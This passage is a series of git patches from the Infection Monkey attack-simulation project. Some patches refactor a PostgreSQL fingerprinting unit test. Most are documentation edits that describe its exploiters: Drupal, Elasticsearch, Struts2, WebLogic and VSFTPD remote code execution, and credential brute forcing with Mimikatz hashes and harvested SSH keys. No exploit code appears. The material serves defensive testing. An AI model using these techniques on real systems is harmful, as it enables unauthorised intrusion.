allowed, all non-SSL allowed + + '\n'.join([RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found'], + RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found']]) # selected SSL allowed, selected non-SSL allowed + ] # don't change order! + +EXPECTED_RESULTS =\ + [ + [RESULT_STRINGS['ssl_not_conf'], + RESULT_STRINGS['all_non_ssl']], # SSL not configured, all non-SSL allowed + + [RESULT_STRINGS['ssl_not_conf'], + RESULT_STRINGS['selected_non_ssl']], # SSL not configured, selected non-SSL allowed + + [RESULT_STRINGS['ssl_conf'], + RESULT_STRINGS['all_ssl'], + RESULT_STRINGS['all_non_ssl']], # all SSL allowed, all non-SSL allowed + + [RESULT_STRINGS['ssl_conf'], + RESULT_STRINGS['all_ssl'], + RESULT_STRINGS['selected_non_ssl']], # all SSL allowed, selected non-SSL allowed + + [RESULT_STRINGS['ssl_conf'], + RESULT_STRINGS['selected_ssl'], + RESULT_STRINGS['all_non_ssl']], # selected SSL allowed, all non-SSL allowed + + [RESULT_STRINGS['ssl_conf'], + RESULT_STRINGS['only_selected']] # selected SSL allowed, selected non-SSL allowed + ] # don't change order! + + +class TestPostgreSQLFinger(TestCase): + def test_is_relevant_exception(self): + assert PostgreSQLFinger().is_relevant_exception(IRRELEVANT_EXCEPTION_STRING) is False + for exception_string in EXAMPLE_EXCEPTIONS: + assert PostgreSQLFinger().is_relevant_exception(exception_string) is True + + def test_analyze_operational_error(self): + host = Mock(['services']) + host.services = {} + for idx in range(len(EXAMPLE_EXCEPTIONS)): + with self.subTest(msg=f"Checking result for exception: {EXAMPLE_EXCEPTIONS[idx]}"): + PostgreSQLFinger().analyze_operational_error(host, EXAMPLE_EXCEPTIONS[idx]) + assert host.services['PostgreSQL']['communication_encryption_details'] == ''.join(EXPECTED_RESULTS[idx]) From 92404089566e152b2a056007cd3e7e0faf6f8b9e Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 14 Jan 2021 18:13:13 +0530 Subject: [PATCH 0010/1360] Make function static (as per CR) --- monkey/infection_monkey/network/postgresql_fingerprint.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/postgresql_fingerprint.py b/monkey/infection_monkey/network/postgresql_fingerprint.py index e6b9b41ade2..eb3ff359d98 100644 --- a/monkey/infection_monkey/network/postgresql_fingerprint.py +++ b/monkey/infection_monkey/network/postgresql_fingerprint.py @@ -109,7 +109,8 @@ def is_ssl_configured(exceptions): elif len(exceptions) == 2: # SSL configured so checks for both return True - def found_entry_for_host_but_pwd_auth_failed(self, exception): - if self.RELEVANT_EX_SUBSTRINGS[0] in exception: + @staticmethod + def found_entry_for_host_but_pwd_auth_failed(exception): + if PostgreSQLFinger.RELEVANT_EX_SUBSTRINGS[0] in exception: return True # entry found in pg_hba.conf file but password authentication failed return False # entry not found in pg_hba.conf file From ca460b73482d48a41774d3fb0e01df8238a3cc7f Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 14 Jan 2021 18:13:43 +0530 Subject: [PATCH 0011/1360] Changes in unit test --- .../network/test_postgresql_fingerprint.py | 96 ++++++++++++------- 1 file changed, 62 insertions(+), 34 deletions(-) diff --git a/monkey/infection_monkey/network/test_postgresql_fingerprint.py b/monkey/infection_monkey/network/test_postgresql_fingerprint.py index 70889969018..87f7e01af5f 100644 --- a/monkey/infection_monkey/network/test_postgresql_fingerprint.py +++ b/monkey/infection_monkey/network/test_postgresql_fingerprint.py @@ -27,60 +27,88 @@ 'only_selected': "Only selected hosts can make connections (SSL or non-SSL).\n" } -EXAMPLE_EXCEPTIONS =\ - [ - RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed'], # SSL not configured, all non-SSL allowed - - RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found'], # SSL not configured, selected non-SSL allowed - +EXAMPLE_EXCEPTIONS_WITH_EXPECTED_RESULTS =\ + { + # SSL not configured, all non-SSL allowed, # SSL not configured, all non-SSL allowed + RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed']: [ + RESULT_STRINGS['ssl_not_conf'], + RESULT_STRINGS['all_non_ssl'] + ], + + # SSL not configured, selected non-SSL allowed + RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found']: [ + RESULT_STRINGS['ssl_not_conf'], + RESULT_STRINGS['selected_non_ssl'] + ], + + # all SSL allowed, all non-SSL allowed '\n'.join([RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed'], - RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed']]), # all SSL allowed, all non-SSL allowed + RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed']]): [ + RESULT_STRINGS['ssl_conf'], + RESULT_STRINGS['all_ssl'], + RESULT_STRINGS['all_non_ssl'] + ], + # all SSL allowed, selected non-SSL allowed '\n'.join([RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed'], - RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found']]), # all SSL allowed, selected non-SSL allowed + RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found']]): [ + RESULT_STRINGS['ssl_conf'], + RESULT_STRINGS['all_ssl'], + RESULT_STRINGS['selected_non_ssl'] + ], + # selected SSL allowed, all non-SSL allowed '\n'.join([RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found'], - RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed']]), # selected SSL allowed, all non-SSL allowed + RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed']]): [ + RESULT_STRINGS['ssl_conf'], + RESULT_STRINGS['selected_ssl'], + RESULT_STRINGS['all_non_ssl'] + ], + # selected SSL allowed, selected non-SSL allowed '\n'.join([RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found'], - RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found']]) # selected SSL allowed, selected non-SSL allowed - ] # don't change order! + RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found']]): [ + RESULT_STRINGS['ssl_conf'], + RESULT_STRINGS['only_selected'] + ] + } -EXPECTED_RESULTS =\ - [ - [RESULT_STRINGS['ssl_not_conf'], - RESULT_STRINGS['all_non_ssl']], # SSL not configured, all non-SSL allowed +# EXPECTED_RESULTS =\ +# [ + # [RESULT_STRINGS['ssl_not_conf'], + # RESULT_STRINGS['all_non_ssl']], # SSL not configured, all non-SSL allowed - [RESULT_STRINGS['ssl_not_conf'], - RESULT_STRINGS['selected_non_ssl']], # SSL not configured, selected non-SSL allowed + # [RESULT_STRINGS['ssl_not_conf'], + # RESULT_STRINGS['selected_non_ssl']], # SSL not configured, selected non-SSL allowed - [RESULT_STRINGS['ssl_conf'], - RESULT_STRINGS['all_ssl'], - RESULT_STRINGS['all_non_ssl']], # all SSL allowed, all non-SSL allowed + # [RESULT_STRINGS['ssl_conf'], + # RESULT_STRINGS['all_ssl'], + # RESULT_STRINGS['all_non_ssl']], # all SSL allowed, all non-SSL allowed - [RESULT_STRINGS['ssl_conf'], - RESULT_STRINGS['all_ssl'], - RESULT_STRINGS['selected_non_ssl']], # all SSL allowed, selected non-SSL allowed + # [RESULT_STRINGS['ssl_conf'], + # RESULT_STRINGS['all_ssl'], + # RESULT_STRINGS['selected_non_ssl']], # all SSL allowed, selected non-SSL allowed - [RESULT_STRINGS['ssl_conf'], - RESULT_STRINGS['selected_ssl'], - RESULT_STRINGS['all_non_ssl']], # selected SSL allowed, all non-SSL allowed + # [RESULT_STRINGS['ssl_conf'], + # RESULT_STRINGS['selected_ssl'], + # RESULT_STRINGS['all_non_ssl']], # selected SSL allowed, all non-SSL allowed - [RESULT_STRINGS['ssl_conf'], - RESULT_STRINGS['only_selected']] # selected SSL allowed, selected non-SSL allowed - ] # don't change order! + # [RESULT_STRINGS['ssl_conf'], + # RESULT_STRINGS['only_selected']] # selected SSL allowed, selected non-SSL allowed + # ] # don't change order! class TestPostgreSQLFinger(TestCase): def test_is_relevant_exception(self): assert PostgreSQLFinger().is_relevant_exception(IRRELEVANT_EXCEPTION_STRING) is False - for exception_string in EXAMPLE_EXCEPTIONS: + for exception_string in EXAMPLE_EXCEPTIONS_WITH_EXPECTED_RESULTS: assert PostgreSQLFinger().is_relevant_exception(exception_string) is True def test_analyze_operational_error(self): host = Mock(['services']) host.services = {} - for idx in range(len(EXAMPLE_EXCEPTIONS)): - with self.subTest(msg=f"Checking result for exception: {EXAMPLE_EXCEPTIONS[idx]}"): - PostgreSQLFinger().analyze_operational_error(host, EXAMPLE_EXCEPTIONS[idx]) - assert host.services['PostgreSQL']['communication_encryption_details'] == ''.join(EXPECTED_RESULTS[idx]) + for exception_string in EXAMPLE_EXCEPTIONS_WITH_EXPECTED_RESULTS: + with self.subTest(msg=f"Checking result for exception: {exception_string}"): + PostgreSQLFinger().analyze_operational_error(host, exception_string) + assert host.services['PostgreSQL']['communication_encryption_details'] ==\ + ''.join(EXAMPLE_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception_string]) From 4a5d5353274fb866f6e7ff193ec02d630468bda1 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 14 Jan 2021 18:27:49 +0530 Subject: [PATCH 0012/1360] Oops --- .../network/test_postgresql_fingerprint.py | 24 ------------------- 1 file changed, 24 deletions(-) diff --git a/monkey/infection_monkey/network/test_postgresql_fingerprint.py b/monkey/infection_monkey/network/test_postgresql_fingerprint.py index 87f7e01af5f..101377cf0a8 100644 --- a/monkey/infection_monkey/network/test_postgresql_fingerprint.py +++ b/monkey/infection_monkey/network/test_postgresql_fingerprint.py @@ -73,30 +73,6 @@ ] } -# EXPECTED_RESULTS =\ -# [ - # [RESULT_STRINGS['ssl_not_conf'], - # RESULT_STRINGS['all_non_ssl']], # SSL not configured, all non-SSL allowed - - # [RESULT_STRINGS['ssl_not_conf'], - # RESULT_STRINGS['selected_non_ssl']], # SSL not configured, selected non-SSL allowed - - # [RESULT_STRINGS['ssl_conf'], - # RESULT_STRINGS['all_ssl'], - # RESULT_STRINGS['all_non_ssl']], # all SSL allowed, all non-SSL allowed - - # [RESULT_STRINGS['ssl_conf'], - # RESULT_STRINGS['all_ssl'], - # RESULT_STRINGS['selected_non_ssl']], # all SSL allowed, selected non-SSL allowed - - # [RESULT_STRINGS['ssl_conf'], - # RESULT_STRINGS['selected_ssl'], - # RESULT_STRINGS['all_non_ssl']], # selected SSL allowed, all non-SSL allowed - - # [RESULT_STRINGS['ssl_conf'], - # RESULT_STRINGS['only_selected']] # selected SSL allowed, selected non-SSL allowed - # ] # don't change order! - class TestPostgreSQLFinger(TestCase): def test_is_relevant_exception(self): From 5ad54db09786c6d0a0a89c7589950d27d9f54490 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 09:15:13 -0500 Subject: [PATCH 0013/1360] docs: Update reference/_index.md --- docs/content/reference/_index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/reference/_index.md b/docs/content/reference/_index.md index 01a3a98f36f..356d85312ee 100644 --- a/docs/content/reference/_index.md +++ b/docs/content/reference/_index.md @@ -9,6 +9,6 @@ tags = ["reference"] # Reference -Find detailed information about Infection Monkey. +Find detailed information about the Infection Monkey. {{% children %}} From 27dae7bd6c3fcf5b41aec8415375fbdb5a13c28f Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 09:19:50 -0500 Subject: [PATCH 0014/1360] docs: Update mitre_techniques.md --- docs/content/reference/mitre_techniques.md | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/docs/content/reference/mitre_techniques.md b/docs/content/reference/mitre_techniques.md index 9e528449ef0..d455d7e90bd 100644 --- a/docs/content/reference/mitre_techniques.md +++ b/docs/content/reference/mitre_techniques.md @@ -10,12 +10,9 @@ weight: 10 Check out [the documentation for the MITRE ATT&CK report as well](../../usage/reports/mitre). {{% /notice %}} -The Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base and based on this, - provides a report detailing the techniques it used and recommended mitigations. - The idea is to help you simulate an APT attack on your network and mitigate real attack paths intelligently. - - In the following table we provide the list of all the ATT&CK techniques the Monkey provides info about, - categorized by tactic. You can follow any of the links to learn more about a specific technique or tactic. +The Infection Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base and, based on this, provides a report detailing the techniques it used along with any recommended mitigations. This helps you simulate an advanced persistent threat (APT) attack on your network and mitigate real attack paths intelligently. + +In the following table, we provide the list of all the MITRE ATT&CK techniques the Monkey provides info about, categorized by the tactic. You can follow any of the links below to learn more about a specific technique or tactic. | TACTIC | TECHNIQUES | From f272e97778ae5c8ad7aa06690569203b48e920ee Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 09:36:41 -0500 Subject: [PATCH 0015/1360] docs: Update operating_systems_support.md --- .../reference/operating_systems_support.md | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/docs/content/reference/operating_systems_support.md b/docs/content/reference/operating_systems_support.md index f3b1a44ba65..02cefbac031 100644 --- a/docs/content/reference/operating_systems_support.md +++ b/docs/content/reference/operating_systems_support.md @@ -7,15 +7,15 @@ weight: 10 tags: ["setup", "reference", "windows", "linux"] --- -The Infection Monkey project supports many popular OSes (but we can always do more). +The Infection Monkey project supports many popular OSes (but we are always interested in supporting more). -The Monkey itself (the agent) has been tested to run on the following operating systems (on x64 architecture) +The Infection Monkey agent has been tested to run on the following operating systems (on x64 architecture): -### Monkey support +### Agent support #### Linux -Compatibility depends on GLIBC version (2.14+)[^1]. By default these distributions are supported: +Compatibility depends on GLIBC version (2.14+)[^1]. By default, these distributions are supported: - Centos 7+ - Debian 7+ @@ -30,9 +30,9 @@ Compatibility depends on GLIBC version (2.14+)[^1]. By default these distributio - Windows 2012+ - Windows 2012_R2+ - Windows 7/Server 2008_R2 if [KB2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows) is installed. -- Windows vista/Server 2008 should also work if the same update is installed, but this wasn't tested. +- Windows Vista/Server 2008 should also work if the same update is installed, but this wasn't tested. -### Island support +### Server support **The Monkey Island (control server)** runs out of the box on: @@ -42,13 +42,13 @@ Compatibility depends on GLIBC version (2.14+)[^1]. By default these distributio - Windows Server 2012 R2 - Windows Server 2016 -We provide a dockerfile from our [website](http://infectionmonkey.com/) that lets the Monkey Island run inside a container. +We also provide a Dockerfile on our [website](http://infectionmonkey.com/) that lets the Monkey Island run inside a container. ### Old machine bootloader -Some **Older machines** still get a partial compatibility as in they get exploited and reported, but monkey can't run on them. So instead of monkey, old machine bootloader (small c program) is ran, which reports some minor info like network interface configuration, GLIBC version, OS and so on. +Some **older machines** still have partial compatibility and will be exploited and reported, but the Infection Monkey agent can't run on them. In these cases, old machine bootloader (a small c program) will be run, which reports some minor info like network interface configuration, GLIBC version, OS, etc. -**Old machine bootloader** also has a GLIBC 2.14+ requirement for linux, because bootloader is included into pyinstaller bootloader which uses python3.7, which in turn requires GLIBC 2.14+. If you think partial support for older machines is important, don't hesitate to open a new issue about it. +**Old machine bootloader** also has a GLIBC 2.14+ requirement for Linux because the bootloader is included in the Pyinstaller bootloader, which uses Python 3.7 that in turn requires GLIBC 2.14+. If you think partial support for older machines is important, don't hesitate to open a new issue about it. **Old machine bootloader** runs on machines with: @@ -61,4 +61,4 @@ Some **Older machines** still get a partial compatibility as in they get exploit - Ubuntu 14+ - **Windows XP/Server 2003+** -[^1]: GLIBC >= 2.14 requirement comes from the fact that monkey is built using this GLIBC version and GLIBC is not backwards compatible. We are also limited to the oldest GLIBC version compatible with ptyhon3.7 +[^1]: The GLIBC >= 2.14 requirement exists because the Infection Monkey was built using this GLIBC version, and GLIBC is not backward compatible. We are also limited to the oldest GLIBC version compatible with Ptyhon 3.7. From 1b0ab5555418cc5d1828d56cd22a268ec4c03534 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 09:49:43 -0500 Subject: [PATCH 0016/1360] docs: Update Drupal.md --- docs/content/reference/exploiters/Drupal.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/reference/exploiters/Drupal.md b/docs/content/reference/exploiters/Drupal.md index df600b2cb5b..5763b0ca89d 100644 --- a/docs/content/reference/exploiters/Drupal.md +++ b/docs/content/reference/exploiters/Drupal.md @@ -18,7 +18,7 @@ This can lead to arbitrary PHP code execution in some cases. ### Affected Versions -* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. +* Drupal 8.5.x (before 8.5.11) and Drupal 8.6.x (before 8.6.10). One of the following conditions must hold: * The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH @@ -32,4 +32,4 @@ Drupal 8, or Services or RESTful Web Services in Drupal 7. * The Infection Monkey exploiter implementation is based on an open-source [Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a) of the exploit by @leonjza. -* For the full attack to work, more than one vulnerable URL is required. \ No newline at end of file +* For the full attack to work, more than one vulnerable URL is required. From a483b4aafc7e2330acbd39e57caa8ed0a7726be8 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 09:51:30 -0500 Subject: [PATCH 0017/1360] docs: Update ElasticGroovy.md --- docs/content/reference/exploiters/ElasticGroovy.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/docs/content/reference/exploiters/ElasticGroovy.md b/docs/content/reference/exploiters/ElasticGroovy.md index 7325ccb863e..86ae4247c0a 100644 --- a/docs/content/reference/exploiters/ElasticGroovy.md +++ b/docs/content/reference/exploiters/ElasticGroovy.md @@ -4,9 +4,10 @@ date: 2020-07-14T08:41:40+03:00 draft: false tags: ["exploit", "windows", "linux"] --- +### Description -CVE-2015-1427. +CVE-2015-1427 -> The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script. +> The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x (before 1.4.3) allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script. -Logic is based on [Metasploit module](https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb). +The logic is based on the [Metasploit module](https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb). From f7d9df0e6407a850aeab4b0930a32af764d2a957 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 09:59:16 -0500 Subject: [PATCH 0018/1360] docs: Update Hadoop.md --- docs/content/reference/exploiters/Hadoop.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/content/reference/exploiters/Hadoop.md b/docs/content/reference/exploiters/Hadoop.md index 7d9de287b97..300eb47ad1d 100644 --- a/docs/content/reference/exploiters/Hadoop.md +++ b/docs/content/reference/exploiters/Hadoop.md @@ -5,4 +5,6 @@ draft: false tags: ["exploit", "linux", "windows"] --- -Remote code execution on HADOOP server with YARN and default settings. Logic based on [this vulhub module](https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn). +### Description + +This exploit consists of remote code execution on HADOOP servers with YARN and default settings. The logic is based on [this vulhub module](https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn). From 77859b86dd2c63a5942c41a09ef3cae9b67d9b13 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 10:01:47 -0500 Subject: [PATCH 0019/1360] docs: Update MS08-067.md --- docs/content/reference/exploiters/MS08-067.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/docs/content/reference/exploiters/MS08-067.md b/docs/content/reference/exploiters/MS08-067.md index 3f0c57cc361..d4eb3b8077f 100644 --- a/docs/content/reference/exploiters/MS08-067.md +++ b/docs/content/reference/exploiters/MS08-067.md @@ -5,6 +5,10 @@ draft: false tags: ["exploit", "windows"] --- +### Description + [MS08-067](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067) is a remote code execution vulnerability. -This exploiter is unsafe. If an exploit attempt fails, this could also lead to a crash in Svchost.exe. If the crash in Svchost.exe occurs, the Server service will be affected. That might cause system crash due to the use of buffer overflow. It's therefore **not** enabled by default. +This exploiter is unsafe. It's therefore **not** enabled by default. + +If an exploit attempt fails, this could also lead to a crash in Svchost.exe. If a crash in Svchost.exe occurs, the server service will be affected. This may cause a system crash due to the use of buffer overflow. From bfff95ce346eb67e8649b86bf1cc1410d8eee01a Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 10:03:37 -0500 Subject: [PATCH 0020/1360] docs: Update MsSQL.md --- docs/content/reference/exploiters/MsSQL.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/content/reference/exploiters/MsSQL.md b/docs/content/reference/exploiters/MsSQL.md index 2d664503b81..58926addd07 100644 --- a/docs/content/reference/exploiters/MsSQL.md +++ b/docs/content/reference/exploiters/MsSQL.md @@ -5,4 +5,6 @@ draft: false tags: ["exploit", "windows"] --- -The Monkey will try to brute force into MsSQL server and uses insecure configuration to execute commands on server. +### Description + +For this exploit, the Infection Monkey will try to brute force into a MsSQL server and use an insecure configuration to execute commands on the server. From 3f255c5626e501fd3d2b7dd3a0ba4c924bda3809 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 10:04:35 -0500 Subject: [PATCH 0021/1360] docs: Update SMBExec.md --- docs/content/reference/exploiters/SMBExec.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/content/reference/exploiters/SMBExec.md b/docs/content/reference/exploiters/SMBExec.md index cccf0596d5f..dee01c6372a 100644 --- a/docs/content/reference/exploiters/SMBExec.md +++ b/docs/content/reference/exploiters/SMBExec.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:42:16+03:00 draft: false tags: ["exploit", "windows"] --- +### Description -Brute forces using credentials provided by user (see ["Configuration"](../usage/configuration)) and hashes gathered by Mimikatz. +This exploit brute forces machines using credentials provided by the user (see [configuration](../usage/configuration) for instructions) and hashes gathered by Mimikatz. From 32089018ab3e064a5be88e627549c0ff9c3c8f64 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 10:07:20 -0500 Subject: [PATCH 0022/1360] docs: Update SSHExec.md --- docs/content/reference/exploiters/SSHExec.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/content/reference/exploiters/SSHExec.md b/docs/content/reference/exploiters/SSHExec.md index d90d311cb37..9a6fd65370c 100644 --- a/docs/content/reference/exploiters/SSHExec.md +++ b/docs/content/reference/exploiters/SSHExec.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:42:21+03:00 draft: false tags: ["exploit", "linux"] --- +### Description -Brute forces using credentials provided by user (see ["Configuration"](../usage/configuration))and SSH keys gathered from systems. +This exploit brute forces machines using credentials provided by the user (see ["configuration"](../usage/configuration) for instructions) and SSH keys gathered from systems. From dbab5abd932cfdb6e57b7c7717281da51ea7e873 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 10:09:56 -0500 Subject: [PATCH 0023/1360] docs: Update Sambacry.md --- docs/content/reference/exploiters/Sambacry.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/content/reference/exploiters/Sambacry.md b/docs/content/reference/exploiters/Sambacry.md index 1187d08edf1..1cc804875a6 100644 --- a/docs/content/reference/exploiters/Sambacry.md +++ b/docs/content/reference/exploiters/Sambacry.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:42:02+03:00 draft: false tags: ["exploit", "linux"] --- +### Description -Bruteforces and searches for anonymous shares. Partially based on [the following implementation](https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py) by CORE Security Technologies' impacket. +This exploit brute forces machines and searches for anonymous shares. It is partially based on [the following implementation](https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py) by CORE Security Technologies' impacket. From 1201343ed265b98d015f030abad8339ec7c37f42 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 10:15:20 -0500 Subject: [PATCH 0024/1360] docs: Update Struts2.md --- docs/content/reference/exploiters/Struts2.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/content/reference/exploiters/Struts2.md b/docs/content/reference/exploiters/Struts2.md index a81f61575bb..5ce1dfe5aaa 100644 --- a/docs/content/reference/exploiters/Struts2.md +++ b/docs/content/reference/exploiters/Struts2.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:42:30+03:00 draft: false tags: ["exploit", "linux", "windows"] --- +### Description -Exploits struts2 java web framework. CVE-2017-5638. Logic based on [VEX WOO's PoC](https://www.exploit-db.com/exploits/41570). +This exploit, CVE-2017-5638, utilizes the Struts 2 Java web framework. The logic is based on [VEX WOO's PoC](https://www.exploit-db.com/exploits/41570). From 788b9857116a2dafd6ba3278b1ef3cb5b7331a2b Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 10:16:03 -0500 Subject: [PATCH 0025/1360] docs: Update VSFTPD.md --- docs/content/reference/exploiters/VSFTPD.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/content/reference/exploiters/VSFTPD.md b/docs/content/reference/exploiters/VSFTPD.md index ce5a6dcc37a..32b3ad96fd3 100644 --- a/docs/content/reference/exploiters/VSFTPD.md +++ b/docs/content/reference/exploiters/VSFTPD.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:42:39+03:00 draft: false tags: ["exploit", "linux"] --- +### Description -Exploits a malicious backdoor that was added to the VSFTPD download archive. Logic based on [this MetaSploit module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb). +This exploits a malicious backdoor that was added to the VSFTPD download archive. The logic is based on [this MetaSploit module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb). From 449cb98de05d5dcffebef0d9c02fbdb2428281c4 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 10:17:37 -0500 Subject: [PATCH 0026/1360] docs: Update WMIExec.md --- docs/content/reference/exploiters/WMIExec.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/content/reference/exploiters/WMIExec.md b/docs/content/reference/exploiters/WMIExec.md index 346bc6eedc7..d60b3c61215 100644 --- a/docs/content/reference/exploiters/WMIExec.md +++ b/docs/content/reference/exploiters/WMIExec.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:43:12+03:00 draft: false tags: ["exploit", "windows"] --- +### Description -Brute forces WMI (Windows Management Instrumentation) using credentials provided by user (see ["Configuration"](../usage/configuration)) and hashes gathered by mimikatz. +This exploit brute forces WMI (Windows Management Instrumentation) using credentials provided by the user (see ["configuration"](../usage/configuration) for instructions) and hashes gathered by mimikatz. From cc17be612ee62609d4e65bc862f0d0d5fc1e4290 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 10:18:09 -0500 Subject: [PATCH 0027/1360] docs: Update WebLogic.md --- docs/content/reference/exploiters/WebLogic.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/content/reference/exploiters/WebLogic.md b/docs/content/reference/exploiters/WebLogic.md index 051fa473216..0e803641abb 100644 --- a/docs/content/reference/exploiters/WebLogic.md +++ b/docs/content/reference/exploiters/WebLogic.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:42:46+03:00 draft: false tags: ["exploit", "linux", "windows"] --- +### Description -Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on a vulnerable WebLogic server. +This exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on a vulnerable WebLogic server. From 381dea0e545508a279045b3886d058f2b640c07f Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 10:23:08 -0500 Subject: [PATCH 0028/1360] docs: Update exploiters/_index.md --- docs/content/reference/exploiters/_index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/reference/exploiters/_index.md b/docs/content/reference/exploiters/_index.md index 4624081d8de..618fea0d06f 100644 --- a/docs/content/reference/exploiters/_index.md +++ b/docs/content/reference/exploiters/_index.md @@ -9,8 +9,8 @@ tags = ["reference", "exploit"] # Exploiters -Infection Monkey uses various RCE exploiters. Most of these, in our knowledge, pose no risk to performance or services on victim machines. This documentation serves as a quick introduction to the exploiters currently implemented and vulnerabilities used by them. +The Infection Monkey uses various remote code execution (RCE) exploiters. To our best knowledge, most of these pose no risk to performance or services on victim machines. This documentation serves as a quick introduction to the exploiters 